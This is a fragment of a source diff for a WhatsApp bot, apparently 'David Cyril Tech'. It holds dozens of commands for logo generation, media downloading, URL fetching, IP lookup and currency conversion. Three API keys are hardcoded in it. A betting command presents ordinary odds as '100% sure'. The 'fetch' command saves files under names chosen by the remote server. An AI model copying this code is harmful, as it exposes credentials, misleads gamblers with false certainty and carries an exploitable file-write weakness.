𝗦𝘂𝗰𝗰𝗲𝘀𝘀𝗳𝘂𝗹𝗹𝘆`) +break + + + +case 'blackpinklogo': case 'blackpinkstyle': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/online-blackpink-style-logo-maker-effect-711.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case 'deletingtext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/national-flag-text-effect-according-to-your-country-752.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + + +case 'flag3dtext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-eraser-deleting-text-effect-online-717.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + + + +case 'flagtext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/nigeria-3d-flag-text-effect-online-free-753.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + + +case 'neonglitch': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-impressive-neon-glitch-text-effects-online-768.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; + } + +case 'pixelglitch': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-pixel-glitch-text-effect-online-769.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + + +case 'advancedglow': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/advanced-glow-effects-74.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + +case 'typographytext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-typography-text-effect-on-pavement-online-774.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + + + +case 'glitchtext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-digital-glitch-text-effects-online-767.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + + +case 'writetext': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/write-text-on-wet-glass-online-589.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + +case 'dragonball': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-dragon-ball-style-text-effects-online-809.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + image: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate the Dragon Ball logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Dragon Ball logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + + +case 'logointro': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/free-logo-intro-video-maker-online-558.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + video: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + + +case 'elegant': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-elegant-rotation-logo-online-586.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + video: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + +case 'pubg': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-pubg-style-glitch-video-avatar-554.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + video: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + + +case 'tiger': { + if (!text) return reply(`Example: ${prefix + command} David Cyril`); + + try { + await David.sendMessage(m.chat, { react: { text: `⏳`, key: m.key } }); + + // Construct API URL + const apiUrl = `https://bk9.fun/maker/ephoto-1?text=${encodeURIComponent(text)}&url=https://en.ephoto360.com/create-digital-tiger-logo-video-effect-723.html`; + + // Fetch response from API + const response = await axios.get(apiUrl); + const { status, BK9 } = response.data; + await David.sendMessage(m.chat, { react: { text: `✅`, key: m.key } }); + + + if (status && BK9) { + await David.sendMessage(m.chat, { + video: { url: BK9 }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`❌ Failed to generate logo. Please try again.`); + } + } catch (error) { + console.error('Error generating Logo:', error.message); + reply(`❌ An error occurred. Please try again later.`); + } + break; +} + + + +case 'animevideo': +case 'amv': { + if (!text) return reply('Enter the number, Sir\nExample: .animevideo 1') + +async function animeVideo() { + const url = 'https://shortstatusvideos.com/anime-video-status-download/'; // Ganti dengan URL yang sesuai + const response = await fetch(url); + const html = await response.text(); + const $ = cheerio.load(html); + const videos = []; + $('a.mks_button.mks_button_small.squared').each((index, element) => { + const href = $(element).attr('href'); + const title = $(element).closest('p').prevAll('p').find('strong').text(); + videos.push({ + title, + source: href + }); + }); + + const randomIndex = Math.floor(Math.random() * videos.length); + const randomVideo = videos[randomIndex]; + + return randomVideo; +} + +async function animeVideo2() { + const url = 'https://mobstatus.com/anime-whatsapp-status-video/'; // Ganti dengan URL yang sesuai + const response = await fetch(url); + const html = await response.text(); + const $ = cheerio.load(html); + + const videos = []; + + const title = $('strong').text(); + + $('a.mb-button.mb-style-glass.mb-size-tiny.mb-corners-pill.mb-text-style-heavy').each((index, element) => { + const href = $(element).attr('href'); + videos.push({ + title, + source: href + }); + }); + + const randomIndex = Math.floor(Math.random() * videos.length); + const randomVideo = videos[randomIndex]; + + return randomVideo; +} + if (text == '1') { + try { + let resl = await animeVideo() + let cap = `Here's the video` + await David.sendFile(m.chat, resl.source, "", cap, m) + } catch (e) { + await reply(eror) + } + } + if (text == '2') { + try { + let resl = await animeVideo2() + let cap = `Here's the video` + await David.sendFile(m.chat, resl.source, "", cap, m) + } catch (e) { + await reply('eror') + } + } +} +break + + +case 'creatememe': + const memeImageUrl = args[0]; + const topText = args[1]; + const bottomText = args[2]; + if (!memeImageUrl || !topText || !bottomText) return reply('Usage: .creatememe [image URL] [top text] [bottom text]'); + axios.get(`api.memegen.link/images/custom/${encodeURI(topText)}/${encodeURI(bottomText)}.jpg?background=${memeImageUrl}`, { responseType: 'arraybuffer' }) + .then(response => { + const buffer = Buffer.from(response.data, 'binary'); + David.sendMessage(m.chat, { image: buffer, caption: 'Here is your meme!' }); + }) + .catch(() => reply('Could not create meme. Please check the image URL and try again.')); + break; + + case 'ss': { + if (!text) return reply(`*Example*: ${prefix + command} https://apis.davidcyriltech.my.id`); + + try { + + await David.sendMessage(m.chat, { react: { text: `📸`, key: m?.key } }); + + // Fetch the screenshot from the API + const apiUrl = `https://apis.davidcyriltech.my.id/ssweb?url=${encodeURIComponent(text)}&device=tablet`; + const apiResponse = await axios.get(apiUrl); + + + if (apiResponse.data && apiResponse.data.success) { + const { screenshotUrl } = apiResponse.data; + + + await David.sendMessage(m.chat, { + image: { url: screenshotUrl }, + caption: `🖼️ *Web Screenshot* \n\n🌐 URL: ${text}\n📱 Device: Tablet\n\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } else { + reply(`*Failed to capture the screenshot! Please check the URL and try again.*`); + } + } catch (error) { + + console.error('Error during ssweb command:', error); + reply(`*An error occurred while processing your request. Please try again later.*`); + } + break; +} + +case 'facebook': case 'fb': case 'fbdl': case 'fbdownload': case 'instagram': case 'ig': case 'igvideo': case 'igimage': case 'igvid': case 'igimg': case 'igdownload': case 'instadl': case 'instagramdl': case 'instagram': case 'igdl': case 'aio': { + if (!text) return reply(`Please Give Me A Link`); +await David.sendMessage(m.chat, { react: { text: `📥`, key: m?.key } }); + + try { + + +const apiUrl = `https://apis.davidcyriltech.my.id/download/aio?url=${encodeURIComponent(text)}`; + const response = await axios.get(apiUrl); + + if (response.data.success) { + const { title, low_quality, high_quality } = response.data.video; + + const isDirectDownloadHD = high_quality.includes("tinyurl"); + const isDirectDownloadSD = low_quality.includes("tinyurl"); + + if (isDirectDownloadHD || isDirectDownloadSD) { +if (isDirectDownloadHD) { + await David.sendMessage(m.chat, { + video: { url: high_quality }, + mimetype: 'video/mp4', + fileName: `${title}_HD.mp4`, + caption: `🎥 *Title:* ${title}\n*Quality:* HD\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } + if (isDirectDownloadSD) { + await David.sendMessage(m.chat, { + video: { url: low_quality }, + mimetype: 'video/mp4', + fileName: `${title}_SD.mp4`, + caption: `🎥 *Title:* ${title}\n*Quality:* SD\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } + } else { + await David.sendMessage(m.chat, { react: { text: `📥`, key: m?.key } }); + + + const hdBuffer = await axios.get(high_quality, { responseType: 'arraybuffer' }); + const sdBuffer = await axios.get(low_quality, { responseType: 'arraybuffer' }); + + if (high_quality) { + await David.sendMessage(m.chat, { + video: Buffer.from(hdBuffer.data), + mimetype: 'video/mp4', + fileName: `${title}_HD.mp4`, + caption: `🎥 *Title:* ${title}\n*Quality:* HD\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } + if (low_quality) { + await David.sendMessage(m.chat, { + video: Buffer.from(sdBuffer.data), + mimetype: 'video/mp4', + fileName: `${title}_SD.mp4`, + caption: `🎥 *Title:* ${title}\n*Quality:* SD\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ` + }, { quoted: m }); + } + } + } else { + reply("❌ Unable to fetch the video. Please check the URL and try again."); + } + } catch (error) { + console.error('Error in AIO Downloader:', error.message); + reply("❌ An error occurred while processing your request. Please try again later."); + } + break; +} + + + +case 'fetch': { + if (!text) return reply(`*Example:* ${prefix + command} `); + + try { + // Notify the user that the bot is processing the request + await David.sendMessage(m.chat, { react: { text: `📡`, key: m.key } }); + + // Fetch the URL and handle file types + const response = await axios.get(text, { + responseType: 'arraybuffer', // Fetch data as a raw buffer + }); + + const contentType = response.headers['content-type']; + const contentDisposition = response.headers['content-disposition'] || ''; + const extension = contentType.split('/')[1]; + + // Generate a temporary filename if no filename is provided in the response headers + const fileName = contentDisposition.match(/filename="([^"]+)"/)?.[1] || `tempfile.${extension}`; + + // Write the buffer to a temporary file + const fs = require('fs'); + const path = require('path'); + const tempFilePath = path.resolve(__dirname, fileName); + fs.writeFileSync(tempFilePath, response.data); + + // Send the file to the user based on its content type + if (contentType.startsWith('image/')) { + await David.sendMessage(m.chat, { + image: { url: tempFilePath }, + caption: `*Fetched image from:* ${text}`, + }, { quoted: m }); + } else if (contentType.startsWith('video/')) { + await David.sendMessage(m.chat, { + video: { url: tempFilePath }, + mimetype: contentType, + caption: `*Fetched video from:* ${text}`, + }, { quoted: m }); + } else if (contentType.startsWith('audio/')) { + await David.sendMessage(m.chat, { + audio: { url: tempFilePath }, + mimetype: contentType, + fileName: fileName, + caption: `*Fetched music from:* ${text}`, + }, { quoted: m }); + } else { + await David.sendMessage(m.chat, { + document: { url: tempFilePath }, + mimetype: contentType, + fileName: fileName, + caption: `*Fetched file from:* ${text}`, + }, { quoted: m }); + } + + // Cleanup: Delete the temporary file after sending + fs.unlinkSync(tempFilePath); + } catch (error) { + console.error('Error in fetch command:', error); + + // Provide detailed error feedback + reply(`*Failed to fetch the requested resource. Possible reasons:* +1. Invalid URL or download link +2. The server rejected the request +3. The file type isn't supported. + +*Error Details:* ${error.message}`); + } + break; +} + case 'shadow': +case 'write': +case 'romantic': +case 'burnpaper': +case 'smoke': +case 'narutobanner': +case 'love': +case 'undergrass': +case 'doublelove': +case 'coffecup': +case 'underwaterocean': +case 'smokyneon': +case 'starstext': +case 'rainboweffect': +case 'balloontext': +case 'metalliceffect': +case 'embroiderytext': +case 'flamingtext': +case 'stonetext': +case 'writeart': +case 'summertext': +case 'wolfmetaltext': +case 'nature3dtext': +case 'rosestext': +case 'naturetypography': +case 'quotesunder': +case 'shinetext': +{ + + + +if (!text) return reply(`Example : ${prefix + command} QUEEN_ANITA-V3`); + +let link; +if (/stonetext/.test(command)) +link = + 'https://photooxy.com/online-3d-white-stone-text-effect-utility-411.html'; +if (/writeart/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/write-art-quote-on-wood-heart-370.html'; +if (/summertext/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/3d-summer-text-effect-367.html'; +if (/wolfmetaltext/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/create-a-wolf-metal-text-effect-365.html'; +if (/nature3dtext/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/make-nature-3d-text-effects-364.html'; +if (/rosestext/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/yellow-roses-text-360.html'; +if (/naturetypography/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/create-vector-nature-typography-355.html'; +if (/quotesunder/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/quotes-under-fall-leaves-347.html'; +if (/shinetext/.test(command)) +link = + 'https://photooxy.com/logo-and-text-effects/rainbow-shine-text-223.html'; +if (/shadow/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/shadow-text-effect-in-the-sky-394.html'; +if (/write/.test(command)) +link = + 'https://photooxy.com/logo-and-text-effects/write-text-on-the-cup-392.html'; +if (/romantic/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/romantic-messages-for-your-loved-one-391.html'; +if (/burnpaper/.test(command)) +link = + 'https://photooxy.com/logo-and-text-effects/write-text-on-burn-paper-388.html'; +if (/smoke/.test(command)) +link = + 'photooxy.com/other-design/create-an-easy-smoke-type-effect-390.html'; +if (/narutobanner/.test(command)) +link = + 'photooxy.com/manga-and-anime/make-naruto-banner-online-free-378.html'; +if (/love/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/create-a-picture-of-love-message-377.html'; +if (/undergrass/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/make-quotes-under-grass-376.html'; +if (/doublelove/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/love-text-effect-372.html'; +if (/coffecup/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/put-any-text-in-to-coffee-cup-371.html'; +if (/underwaterocean/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/creating-an-underwater-ocean-363.html'; +if (/smokyneon/.test(command)) +link = + 'https://photooxy.com/logo-and-text-effects/make-smoky-neon-glow-effect-343.html'; +if (/starstext/.test(command)) +link = + 'https://photooxy.com/logo-and-text-effects/write-stars-text-on-the-night-sky-200.html'; +if (/rainboweffect/.test(command)) +link = + 'https://photooxy.com/logo-and-text-effects/glow-rainbow-effect-generator-201.html'; +if (/balloontext/.test(command)) +link = + 'https://photooxy.com/logo-and-text-effects/royal-look-text-balloon-effect-173.html'; +if (/metalliceffect/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/illuminated-metallic-effect-177.html'; +if (/embroiderytext/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/create-embroidery-text-online-191.html'; +if (/flamingtext/.test(command)) +link = + 'photooxy.com/logo-and-text-effects/realistic-flaming-text-effect-online-197.html'; +let dehe = await photoOxy(link, text); +David.sendMessage(m?.chat, + { image: { url: dehe }, caption: `Done`}, +{ quoted: m } +); +} +break; + + + case 'myip': { + + if (!isCreator) return m.reply(`For My Owner Only`); + var http = require('http') + http.get({ + 'host': 'api.ipify.org', + 'port': 80, + 'path': '/' + }, function(resp) { + resp.on('data', function(ip) { + m.reply("🔎 *Your Ip Address is :* " + ip); + }) + }) +} +break + + + case 'ip': +if (!text) reply('give me IP address?') +let ipv = await (await fetch('https://endpoint.web.id/tools/cekip?key=gojou&id=' + text)).json(); +if (ipv.status) { + let shannz = ipv.result; + let tesk = `*[ IP CHECKER ]*\n\nIP: ${shannz.ip}\nCity: ${shannz.city}\nCountry: ${shannz.country}\nLocation: ${shannz.loc}\nORG: ${shannz.org}\nPostal: ${shannz.postal}\nTime_Zone: ${shannz.timezone}\nMORE DETAIL: ${shannz.readme}` +reply(tesk) +} else { +reply('not found & error') +} +break + + + +case 'predictions': case 'sureodd': case 'sureodds': { + // List of multiple API keys + const apiKeys = [ + '73338da37ce534482c87846eab310b6f', // First API Key + '0e633fb2254604579825c34f3639dce3', + '4819be8d34033fc925862bf47d3a80c8' // Second API Key (Replace with actual key) + ]; + + // Randomly pick an API key + const randomApiKey = apiKeys[Math.floor(Math.random() * apiKeys.length)]; + + // API URL with the randomly chosen key + const apiUrl = `https://api.the-odds-api.com/v4/sports/soccer_epl/odds?apiKey=${randomApiKey}®ions=us`; + + try { + await m.reply('🔍 Fetching real sure odds...'); + + const response = await axios.get(apiUrl); + const matches = response.data.slice(0, 3); // Get top 3 sure odds + + if (!matches.length) { + return reply('❌ No sure odds available at the moment. Try again later.'); + } + + let message = "🔥 *Sure Odds (100% Analysis)* 🔥\n\n"; + matches.forEach(match => { + message += `⚽ *Match:* ${match.home_team} vs ${match.away_team}\n`; + message += `📊 *Odds:* ${match.bookmakers[0].markets[0].outcomes[0].price}\n`; + message += `💰 *Best Bookmaker:* ${match.bookmakers[0].title}\n\n`; + }); + + m.reply(message); + } catch (error) { + console.error(error); + reply('❌ Failed to fetch real sure odds. Try again later.'); + } + break; +} + + + + + + + +case 'listcurrency': + axios.get('https://api.exchangerate-api.com/v4/latest/USD') + .then(response => { + const currencies = Object.keys(response.data.rates); + const currencyList = currencies.join(', '); + reply(`Supported Currencies: ${currencyList}`); + }) + .catch(() => reply('Could not retrieve the list of currencies. Please try again later.')); + break; + + +case 'convert': +if (!text) reply(`Example: .convert 100 USD EUR`) + if (args.length < 3) { + return reply('Usage: .convert [amount] [from currency] [to currency]'); + } + + const amount = parseFloat(args[0]); + if (isNaN(amount)) { + return reply('Please provide a valid number for the amount.'); + } + + const fromCurrency = args[1] ? args[1].toUpperCase() : null; + const toCurrency = args[2] ? args[2].toUpperCase() : null; + + if (!fromCurrency || !toCurrency) { + return reply('Please provide valid currency codes\nType *.listcurrencies*'); + } + + axios.get(`api.exchangerate-api.com/v4/latest/${fromCurrency}`) + .then(response => { + const rate = response.data.rates[toCurrency]; + if (!rate) { + return reply('Invalid currency code.'); + } + const convertedAmount = (amount * rate).toFixed(2); + reply(`${amount} ${fromCurrency} = ${convertedAmount} ${toCurrency}`); + }) + .catch(() => reply('Could not retrieve exchange rate data. Please try again.')); + break; + +case 'remindme': +if (!text) reply(`Example remindme 5, (reason)`) + const timee = parseInt(args[0]); // time in minutes + const reminder = args.slice(1).join(' '); + + setTimeout(() => { + reply(reminder); + }, timee * 60 * 1000); + + reply(`Reminder set for ${timee} minutes.`); + break; + + + + + + + +// Audio Download Command +case 'audio2': { + if (!m.quoted) return reply('Please reply to the song search result to download the audio.'); + await David.sendMessage(m?.chat, {react: {text: `🎧`, key: m?.key}}); + + let url = global.db.data.users[m.sender].lastSearchUrl || m.quoted?.text.match(/https?:\/\/[^\s]+/g)?.[0]; + if (!url) return reply('No song URL found. Please use the *song* command first.'); + + try { + let apiUrl = `https://api-lenwy.vercel.app/mp3?url=${encodeURIComponent(url)}`; + let result; + let maxAttempts = 10; // Maximum attempts (10 * 15s = 150s max wait time) + let attempt = 0; + + while (attempt < maxAttempts) { + result = await (await fetch(apiUrl)).json(); + + // Check if download_url is available and not "Converting" + if (result.status === 200 && result.data.download_url !== "Converting") { + let audioUrl = result.data.download_url; + let title = result.data.title; + let body = `*Audio Download*\n> Title: ${title}\n> Type: ${result.data.type}`; + + // Send the audio to the user + await David.sendMessage(m.chat, { audio: { url: audioUrl }, mimetype: 'audio/mp4', caption: body }, { quoted: m }); + break; + } + + // Increment attempt and wait for 15 seconds before retrying + attempt++; + await new Promise(resolve => setTimeout(resolve, 15000)); + } + + // If no valid download URL after max attempts, send an error message + if (attempt === maxAttempts) { + reply('Error! Could not retrieve audio URL after multiple attempts. Please try again later.'); + } + + } catch (error) { + reply('Error fetching audio. Please try again.'); + } +} +break; + + + case 'delsession': + case 'clearsession': { + if (!isCreator) return reply("?") + fs.readdir("./session", async function(err, files) { + if (err) { + 